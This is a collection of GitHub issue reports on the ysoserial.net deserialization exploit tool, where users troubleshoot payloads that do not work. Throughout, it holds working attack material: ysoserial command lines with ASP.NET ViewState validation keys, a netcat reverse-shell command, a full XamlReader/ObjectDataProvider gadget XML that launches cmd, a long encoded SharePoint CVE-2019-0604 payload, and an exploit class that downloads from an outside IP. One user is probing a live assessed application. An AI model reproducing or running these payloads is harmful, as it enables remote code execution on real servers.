Got following error message when I used gadgets created by Oleksandr Mirosh, [As per your one of comments on previous similar issue raised by some user].

System.Runtime.Serialization.SerializationException: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.
   at System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.GetType(BinaryAssemblyInfo assemblyInfo, String name)
   at System.Runtime.Serialization.Formatters.Binary.ObjectMap..ctor(String objectName, String[] memberNames, BinaryTypeEnum[] binaryTypeEnumA, Object[] typeInformationA, Int32[] memberAssemIds, ObjectReader objectReader, Int32 objectId, BinaryAssemblyInfo assemblyInfo, SizedArray assemIdToAssemblyTable)
   at System.Runtime.Serialization.Formatters.Binary.BinaryParser.ReadObjectWithMapTyped(BinaryObjectWithMapTyped record)
   at System.Runtime.Serialization.Formatters.Binary.BinaryParser.ReadObjectWithMapTyped(BinaryHeaderEnum binaryHeaderEnum)
   at System.Runtime.Serialization.Formatters.Binary.BinaryParser.Run()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(BinaryParser serParser, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, Boolean check)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream)
   at DatingApp.API.Controllers.DeserializationController.Deserialize(Info value2) in D:\DeserializationController.cs:line 73
   at lambda_method(Closure , Object , Object[] )
   at Microsoft.Extensions.Internal.ObjectMethodExecutor.Execute(Object target, Object[] parameters)
   at Microsoft.AspNetCore.Mvc.Infrastructure.ActionMethodExecutor.SyncActionResultExecutor.Execute(IActionResultTypeMapper mapper, ObjectMethodExecutor executor, Object controller, Object[] arguments)
   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.InvokeActionMethodAsync()
   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.Next(State& next, Scope& scope, Object& state, Boolean& isCompleted)
   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.InvokeNextActionFilterAsync()
--- End of stack trace from previous location where exception was thrown ---
   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.Rethrow(ActionExecutedContextSealed context)
   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.Next(State& next, Scope& scope, Object& state, Boolean& isCompleted)
   at Microsoft.AspNetCore.Mvc.Infrastructure.ControllerActionInvoker.InvokeInnerFilterAsync()
--- End of stack trace from previous location where exception was thrown ---
   at Microsoft.AspNetCore.Mvc.Infrastructure.ResourceInvoker.<InvokeFilterPipelineAsync>g__Awaited|19_0(ResourceInvoker invoker, Task lastTask, State next, Scope scope, Object state, Boolean isCompleted)
   at Microsoft.AspNetCore.Mvc.Infrastructure.ResourceInvoker.<InvokeAsync>g__Logged|17_1(ResourceInvoker invoker)
   at Microsoft.AspNetCore.Routing.EndpointMiddleware.<Invoke>g__AwaitRequestTask|6_0(Endpoint endpoint, Task requestTask, ILogger logger)
   at Microsoft.AspNetCore.Authorization.AuthorizationMiddleware.Invoke(HttpContext context)
   at Microsoft.AspNetCore.Authentication.AuthenticationMiddleware.Invoke(HttpContext context)
   at Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware.Invoke(HttpContext context)

Constantly encountering FormatException: Invalid length for a Base-64 char array or string.

Hello,

I'm trying the code execution vulnerability in a lab environment where the validation key and decryption keys are known. Unfortunately, I cannot get it to work no matter what I try.
I'm using .NET 4.0.

I've tried both by setting the ViewStateGenerator and through setting the app path (and I confirm that the ViewStateGenerator value is correct). I have also tried appending ='s at the end of the generated code. I've also tried URL encoding the generated viewstate that I send through the POST request.

Nothing works. I can't even get a single echo 123 > c:\windows\temp\test.txt working. What am I doing wrong?
(I know it should throw a 500 exception, but it should also create test.txt which it doesn't)

Here are some of the codes I have tried:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --apppath="/p" --path="/p/default.aspx" --islegacy --validationalg="SHA1" --validationkey="1CAD8CD7D5084010C7AC86E09C048DF2E6351D8E1458173BD2F60C948FDCFC79474E7C4BFB8053B3D599D564C3F8F16CD36D4BFF85DC2B86964E110CAB5529B5" --isdebug

Also tried with giving both keys:

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/p/default.aspx" --apppath="/p" --decryptionalg="Auto" --decryptionkey="9419E035D0FF7D8038D0DA7A21AFB4482C82E939147FB1C1B1F7EBCDDC69B617" --validationalg="SHA1" --validationkey="1CAD8CD7D5084010C7AC86E09C048DF2E6351D8E1458173BD2F60C948FDCFC79474E7C4BFB8053B3D599D564C3F8F16CD36D4BFF85DC2B86964E110CAB5529B5"

The generator code for the above path is 333BF894

Thanks!

Payload for Mono not working

Hi.

Any idea why the typeconfusedelegatemono doesn't work for me?

I built the supersimple example from https://www.monodevelop.com/documentation/creating-aspnet-projects/ and I run it in xsp4, but the viewstate - which should be MAC enabled but not encrypted, .net 4.0 version, looks weird and the payload generated by ysoserial.net - which is much longer - does not work. I'm using a specific validationkey in web.config for testing.

%2FwEMDAwQAgAADgEMBQMMEAIAAA4BDAUBDBACDA8BAQRUZXh0AQ5Zb3UgY2xpY2tlZCBtZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALvN0281sXomxFcIhy33ycX5EfZiafqaB78GIBHdjmVX

Mono Version Information: 6.10.0.104 (tarball Fri Jun 26 19:38:24 UTC 2020); ASP.NET Version: 4.0.30319.42000

Payload generated with:
./ysoserial.exe -p ViewState -g TypeConfuseDelegateMono -c "nc 127.0.0.1 555 -e /bin/bash" --path="/Default.aspx" --apppath="/" --islegacy --validationalg="SHA1" --validationkey="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" --isdebug

Any gadget for DataContractJsonSerializer ?

Hi,

I'm looking for a gadget that can be used for the DataContractJsonSerializer Serializer.
If there is any, I can test it and include it into the tool.

Thanks,
Gerardo

SharePoint CVE-2019-0604 plugin ampersand character (&) bug

Hi,
When command contains & character, the ysoserial.net will generate broken payload.
I used the following command:

ysoserial --cve=CVE-2019-0604 --command="dir && nslookup xst82rx7czaogsnnk8tuq6gpzg56tv.burpcollaborator.net" -p SharePoint



__bp837135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e600460056004600750027001600070007005600270006002300b500b50035009700370047005600d600e20075009600e6004600f60077003700e200d40016002700b60057000700e20085001600d600c600250056001600460056002700c20005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c20065005600270037009600f600e600d3004300e2000300e2000300e2000300c20034005700c6004700570027005600d300e60056005700470027001600c600c200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500c200b50035009700370047005600d600e20075009600e6004600f60077003700e2004400160047001600e200f4002600a600560036004700440016004700160005002700f60067009600460056002700c20005002700560037005600e6004700160047009600f600e600640027001600d60056007700f6002700b600c20065005600270037009600f600e600d3004300e2000300e2000300e2000300c20034005700c6004700570027005600d300e60056005700470027001600c600c200050057002600c60096003600b400560097004500f600b6005600e600d3003300130026006600330083005300630016004600330063004300560033005300d500d500c20035009700370047005600d600e2004400160047001600e20035005600270067009600360056003700c20065005600270037009600f600e600d3004300e2000300e2000300e2000300c20034005700c6004700570027005600d300e60056005700470027001600c600c200050057002600c60096003600b400560097004500f600b6005600e600d3002600730073001600530036005300630013009300330043005600030083009300a300c3005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700d600c600e6003700a3001600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d6001600d2009600e600370047001600e60036005600220002008700d600c600e6003700a3002600d30022008600470047000700a300f200f200770077007700e20077003300e200f60027007600f2002300030003001300f2008500d400c4003500360086005600d60016002200e300c3005400870007001600e6004600560046005400c6005600d6005600e6004700f200e300c30005002700f600a6005600360047005600460005002700f600070056002700470097000300e300c300d400560047008600f6004600e4001600d6005600e30005001600270037005600c300f200d400560047008600f6004600e4001600d6005600e300c300d400560047008600f60046000500160027001600d60056004700560027003700e300c3001600e6009700450097000700560002001600a3004700970007005600d30022002600a3003700470027009600e60076002200e3006200c6004700b300250056003700f600570027003600560044009600360047009600f600e60016002700970002008700d600c600e6003700d300620017005700f6004700b3008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600f20007002700560037005600e6004700160047009600f600e600620017005700f6004700b30002008700d600c600e6003700a3008700d300620017005700f6004700b3008600470047000700a300f200f2003700360086005600d60016003700e200d600960036002700f6003700f60066004700e2003600f600d600f20077009600e60066008700f2002300030003006300f20087001600d600c600620017005700f6004700b30002008700d600c600e6003700a3003600d300620017005700f6004700b3003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600b3001600370037005600d6002600c6009700d300d60037003600f6002700c60096002600620017005700f6004700b30002008700d600c600e6003700a3004600d300620017005700f6004700b3003600c6002700d200e6001600d600560037000700160036005600a30035009700370047005600d600e2004400960016007600e600f60037004700960036003700b3001600370037005600d6002600c6009700d30037009700370047005600d600620017005700f6004700b300620076004700b30002006200c6004700b300f4002600a600560036004700440016004700160005002700f6006700960046005600270002008700a300b40056009700d300620017005700f6004700b300620017005700f6004700b3000200f4002600a6005600360047004500970007005600d300620017005700f6004700b300b7008700a300450097000700560002004600a30005002700f6003600560037003700d700620017005700f6004700b3000200d400560047008600f6004600e4001600d6005600d300620017005700f6004700b30035004700160027004700620017005700f6004700b300620076004700b30002006200c6004700b300f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b30002006200c6004700b3003600a3003500470027009600e6007600620076004700b3003600d60046006200c6004700b300f2003600a3003500470027009600e6007600620076004700b30002006200c6004700b3003600a3003500470027009600e6007600620076004700b300f200360002004600960027000200620062000200e6003700c600f600f600b600570007000200870037004700830023002700870073003600a7001600f60076003700e600e600b6008300470057001700630076000700a70076005300630047006700e20026005700270007003600f600c600c60016002600f600270016004700f6002700e200e600560047006200c6004700b300f2003600a3003500470027009600e6007600620076004700b30002006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700e200d400560047008600f60046000500160027001600d60056004700560027003700620076004700b30002006200c6004700b300f200f4002600a600560036004700440016004700160005002700f60067009600460056002700620076004700b30002006200c6004700b300f200250056003700f600570027003600560044009600360047009600f600e600160027009700620076004700b300c300f2001600e60097004500970007005600e300c300f200d400560047008600f60046000500160027001600d60056004700560027003700e300c300f4002600a6005600360047009400e600370047001600e6003600560002001600a3004700970007005600d300220085001600d600c6002500560016004600560027002200e300c300f200f4002600a6005600360047009400e600370047001600e60036005600e300c300f20005002700f600a6005600360047005600460005002700f600070056002700470097000300e300c300f2005400870007001600e6004600560046007500270016000700070056002700f400660085001600d600c600250056001600460056002700f4002600a600560036004700440016004700160005002700f60067009600460056002700e300

The payload won't execute on a vulnerable SharePoint. However, if I try nslookup without the && the payload will execute.

XmlSerializer with typeof

Hi there,
I have this .NET code

XmlSerializer xmlSerializer = new XmlSerializer(typeof(String), "http://web.com/a");
            XmlTextReader xmlReader = new XmlTextReader(stream)
            {
                WhitespaceHandling = WhitespaceHandling.None
            };
            String s = xmlSerializer.Deserialize(xmlReader) as String;

I generated this XML PoC

<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
                        &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;
                            &lt;ObjectDataProvider.MethodParameters&gt;
                                &lt;System:String&gt;cmd&lt;/System:String&gt;
                                &lt;System:String&gt;/c calc&lt;/System:String&gt;
                            &lt;/ObjectDataProvider.MethodParameters&gt;
                        &lt;/ObjectDataProvider&gt;
                    &lt;/ResourceDictionary&gt;
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

during deserialization I'm getting this error

Unhandled Exception: System.InvalidOperationException: There is an error in XML document (2, 2). ---> System.InvalidOperationException: <root xmlns=''> was not expected.
   at Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderString.Read1_string()
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at ysoserial.Program.Main(String[] args) in C:\Users\vava\Desktop\hacktools\ysoserial.net-master\ysoserial\Program.cs:line 27

could you help me, how can I fix it? why am I getting this error?

Cannot build execute file

I tried to build the ysoserial solution but it throwing the errors:

The type or namespace name 'NDesk' could not be found (are you missing a using directive or an assembly reference?)
The type or namespace name 'OptionSet' could not be found (are you missing a using directive or an assembly reference?)

I already installed .Net Framework 4.5.2, tried to rebuild the solution but did not help, what could I miss? Thanks a lot

Donetnuke plugin wrong mode name

This plugin -h mentioned mode upload_file, but what actually used is write_file
{"m|mode=", "the payload mode: read_file, upload_file, run_command.", v => mode = v },

if (mode == "write_file" && path != "" & url != "")

Unhandled exception

Powershell on Debian Linux

Unhandled Exception:
System.NullReferenceException: Object reference not set to an instance of an object
  at ysoserial.Generators.TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget (System.String cmd) [0x000ad] in <ea956b426eca4a2ea734dd6ba9ce1670>:0 
  at ysoserial.Generators.TypeConfuseDelegateGenerator.Generate (System.String cmd, System.String formatter, System.Boolean test, System.Boolean minify) [0x00000] in <ea956b426eca4a2ea734dd6ba9ce1670>:0 
  at ysoserial.Program.Main (System.String[] args) [0x00339] in <ea956b426eca4a2ea734dd6ba9ce1670>:0 
[ERROR] FATAL UNHANDLED EXCEPTION: System.NullReferenceException: Object reference not set to an instance of an object
  at ysoserial.Generators.TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget (System.String cmd) [0x000ad] in <ea956b426eca4a2ea734dd6ba9ce1670>:0 
  at ysoserial.Generators.TypeConfuseDelegateGenerator.Generate (System.String cmd, System.String formatter, System.Boolean test, System.Boolean minify) [0x00000] in <ea956b426eca4a2ea734dd6ba9ce1670>:0 
  at ysoserial.Program.Main (System.String[] args) [0x00339] in <ea956b426eca4a2ea734dd6ba9ce1670>:0 

Gadgets for Mono?

Are there any gadgets out there for Mono? I'd be willing to implement them but I can't find any research into attacking deserialization on Mono, or Unity for that matter. Target platform is Windows.

DLLs missing from latest release

The latest release (31) is missing half of the required DLLs so the program just crashed when you try and run it. Finally realised this after looking at a previous release and finding it had a few more DLLs in.

ActivitySurrogateSelector gadget fixed in DotNet 4.8+

It appears that Forshaw's SurrogateSelector gadget has been fixed in newer versions of DotNet. The patch notes are here for reference. I have yet to dig into exactly what has been corrected, but my guess would be some sort of type filtering to prevent the serialization of arbitrary objects.

Attempting to generate a payload on a host with 4.8 installed will produce the following error:

ysoserial.exe -g ActivitySurrogateSelector -f BinaryFormatter -o base64 -c none --test

Unhandled Exception: System.ArgumentException: obj
   at System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector.ObjectSurrogate.GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.Serialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
   at System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Serialize(Object graph, Header[] inHeaders, __BinaryWriter serWriter, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph, Header[] headers, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph)
   at ysoserial.Generators.PayloadClass.GetObjectData(SerializationInfo info, StreamingContext context) in C:\ysoserial.net\ysoserial\Generators\ActivitySurrogateSelectorGenerator.cs:line 117
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.Serialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder)
   at System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Serialize(Object graph, Header[] inHeaders, __BinaryWriter serWriter, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph, Header[] headers, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph)
   at ysoserial.Generators.GenericGenerator.Serialize(Object cmdobj, String formatter, Boolean test) in C:\ysoserial.net\ysoserial\Generators\GenericGenerator.cs:line 37
   at ysoserial.Generators.ActivitySurrogateSelectorGenerator.Generate(String cmd, String formatter, Boolean test) in C:\ysoserial.net\ysoserial\Generators\ActivitySurrogateSelectorGenerator.cs:line 143
   at ysoserial.Program.Main(String[] args) in C:\ysoserial.net\ysoserial\Program.cs:line 135

Would the preferred "fix" simply be a note in the help text for the time being?

[Most Likely User Error] Cannot Execute ActivitySurrogateSelectorFromFile

Hello there,

I'm hoping you can help me out. As noted in the title, this is likely just me not understanding the tool well enough. I'm trying to use the ActivitySurrogateSelectorFromFile formatter, with the ObjectStateFormatter gadget. As noted in the readme, I've provided the .cs file as well as the additional assemblies required.

I am using a modified ExploitClass.cs that does the following:

using System;
//using System.Windows.Forms;
using System.Net;
using System.IO;

namespace ysoserial
{
    class ExploitClass
    {
        public ExploitClass()
        {
            try
            {
                // Payload code to be executed
                //MessageBox.Show("Pwned", "Pwned", MessageBoxButtons.OK, MessageBoxIcon.Error);
                WebClient Client = new WebClient();
                Client.DownloadFile("http://123.123.123.123:9000", Path.GetTempPath()+"\\pwnd.txt");
            }
            catch (Exception)
            {
            }
        }
    }
}

After building the project, and trying to execute it from the .\bin\Debug\ folder I got this error:

C:\workspace\bb\ysoserial.net\ysoserial\bin\Debug>ysoserial.exe -f ObjectStateFormatter -g ActivitySurrogateSelectorFromFile -o base64 -c "ExploitClass.cs;System.Net;System.IO" -t

Unhandled Exception: System.IO.FileNotFoundException: Could not find file 'C:\workspace\bb\ysoserial.net\ysoserial\bin\Debug\ExploitClass.cs'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
   at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share)
   at Microsoft.CSharp.CSharpCodeGenerator.System.CodeDom.Compiler.ICodeCompiler.CompileAssemblyFromFileBatch(CompilerParameters options, String[] fileNames)
   at System.CodeDom.Compiler.CodeDomProvider.CompileAssemblyFromFile(CompilerParameters options, String[] fileNames)
   at ysoserial.Generators.PayloadClassFromFile..ctor(String file) in C:\workspace\bb\ysoserial.net\ysoserial\Generators\ActivitySurrogateSelectorFromFileGenerator.cs:line 23
   at ysoserial.Generators.ActivitySurrogateSelectorFromFileGenerator.Generate(String file, String formatter, Boolean test) in C:\workspace\bb\ysoserial.net\ysoserial\Generators\ActivitySurrogateSelectorFromFileGenerator.cs:line 48
   at ysoserial.Program.Main(String[] args) in C:\workspace\bb\ysoserial.net\ysoserial\Program.cs:line 117

Which tells me it (of course) couldn't find ExploitClass.cs in the folder. At first I tried just copying my modified ExploitClass.cs into .\bin\Debug\, but that didn't seem to work:

C:\workspace\bb\ysoserial.net\ysoserial\bin\Debug>ysoserial.exe -f ObjectStateFormatter -g ActivitySurrogateSelectorFromFile -o base64 -c "ExploitClass.cs;System.Net;System.IO" -t>tmp.txt
Metadata file 'System.Net' could not be found
Metadata file 'System.IO' could not be found

I also tried copying the compiled ysoserial.exe into the main project folder and executing from there:

C:\workspace\bb\ysoserial.net\ysoserial\bin\Debug>copy ysoserial.exe ..\..\ysoserial.exe
        1 file(s) copied.

C:\workspace\bb\ysoserial.net\ysoserial\bin\Debug>cd ..\..\

C:\workspace\bb\ysoserial.net\ysoserial>ysoserial.exe -f ObjectStateFormatter -g ActivitySurrogateSelectorFromFile -o base64 -c "ExploitClass.cs;System.Net;System.IO" -t>tmp.txt

Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'NDesk.Options, Version=0.2.1.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. The system cannot find the file specified.
   at ysoserial.Program.Main(String[] args)

Any ideas?

the exe file considered having a virus

Hello
I'm trying to research vulnerability inside our Azure samples, coming out of BinaryFormatter.

The latest release of the tool doesn't contain ClaimsPrincipal gadget, so I had to clone and build the code.
Immediately after the build .exe file is deleted by Windows Security with next action message:
image

Question on assessment - Value cannot be null.Parameter name: type

Hello,

I definitely have situation where an app i am assessing is allowing __type declaration but no matter what i attempt with payloads i get the same response if i include any value for __type. Not looking for help exploiting this for my assessment, just some direction. All of the research I've done is showing this should be exploitable. Kind of want to know what the next step could be in discovery of whether or not this is exploitable but i hit a wall on the __type null problem. MVC 3

I have used Freddy which is certain there is a problem here.

ysoserial.exe -c "nslookup SCRUBBED.burpcollaborator.net" -g ObjectDataProvider -f JavaScriptSerializer

And I'm sending this payload to the target and can't get anything to run, it's a windows box.

Payload that does the detection looks like (or similar) - I can insert null and then i get an error message saying it wants a true or false for another parameter, which I've also tried appending but s till get the error about type not being null.

{"__type":""}

Error looks like this:

`HTTP/1.1 500 Internal Server Error
Date: Mon, 20 Apr 2020 15:49:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9702
Connection: close
Cache-Control: private
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, PUT, POST, DELETE, HEAD
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

<title>Value cannot be null.
Parameter name: type</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Consolas","Lucida Console",Monospace;font-size:11pt;margin:0;padding:0.5em;line-height:14pt} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } @media screen and (max-width: 639px) { pre { width: 440px; overflow: auto; white-space: pre-wrap; word-wrap: break-word; } } @media screen and (max-width: 479px) { pre { width: 280px; } } </style>

Server Error in '/SCRUBBED' Application.

Value cannot be null.
Parameter name: type

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.ArgumentNullException: Value cannot be null.
Parameter name: type

Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Stack Trace:

[ArgumentNullException: Value cannot be null.
Parameter name: type]
   System.Activator.CreateInstance(Type type, Boolean nonPublic) +14216720
   System.Activator.CreateInstance(Type type) +12
   System.Web.Script.Serialization.ObjectConverter.ConvertDictionaryToObject(IDictionary`2 dictionary, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object& convertedObject) +447
   System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeInternal(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object& convertedObject) +94
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +222
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth) +599
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +147
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth) +599
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +147
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.BasicDeserialize(String input, Int32 depthLimit, JavaScriptSerializer serializer) +110
   System.Web.Script.Serialization.JavaScriptSerializer.Deserialize(JavaScriptSerializer serializer, String input, Type type, Int32 depthLimit) +46
   Spl.Sped.Web.Extensions.CustomJsonValueProviderFactory.GetDeserializedObject(ControllerContext controllerContext) +278
   Spl.Sped.Web.Extensions.CustomJsonValueProviderFactory.GetValueProvider(ControllerContext controllerContext) +23
   System.Web.Mvc.<>c__DisplayClassc.<GetValueProvider>b__7(ValueProviderFactory factory) +48
   System.Linq.WhereSelectEnumerableIterator`2.MoveNext() +238
   System.Linq.WhereSelectEnumerableIterator`2.MoveNext() +281
   System.Collections.Generic.List`1..ctor(IEnumerable`1 collection) +504
   System.Linq.Enumerable.ToList(IEnumerable`1 source) +69
   System.Web.Mvc.ValueProviderFactoryCollection.GetValueProvider(ControllerContext controllerContext) +421
   System.Web.Mvc.ControllerBase.get_ValueProvider() +39
   System.Web.Mvc.ControllerActionInvoker.GetParameterValue(ControllerContext controllerContext, ParameterDescriptor parameterDescriptor) +77
   System.Web.Mvc.ControllerActionInvoker.GetParameterValues(ControllerContext controllerContext, ActionDescriptor actionDescriptor) +137
   System.Web.Mvc.ControllerActionInvoker.InvokeAction(ControllerContext controllerContext, String actionName) +658
   System.Web.Mvc.Controller.ExecuteCore() +143
   System.Web.Mvc.ControllerBase.Execute(RequestContext requestContext) +91
   System.Web.Mvc.<>c__DisplayClassb.<BeginProcessRequest>b__5() +57
   System.Web.Mvc.Async.<>c__DisplayClass1.<MakeVoidDelegate>b__0() +25
   System.Web.Mvc.<>c__DisplayClasse.<EndProcessRequest>b__d() +36
   System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +648
   System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +213
   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +131


Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.7.3535.0 `

033102051731: The given key was not present in the dictionary

i got this error message

033102051731: The given key was not present in the dictionary.
at System.ThrowHelper.ThrowKeyNotFoundException()
at System.Collections.Generic.Dictionary`2.get_Item(TKey key)
at Service.Common.Login(String plainText)

my commad
ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -o raw -c "calc" -t
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

and the client send this param to server
{"username":"test","password":"test","deviceId":"698c7e","key":"716cbce586913b54"}
key was the aes key for encryption

am i missing something? or what's wrong with this method? i'm a beginner on asp and json deserialize

thanks

JavascriptObjectDeserializer - question

Hi,

im having a question here instead of an issue.
im currently trying to exploit a potential Deserialisation vulnerability in a webapplication which is using JavascriptObjectDeserializer. I tried to exploit the vulnerability with the given JavascriptObjectDeserialize payload given here:

_{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
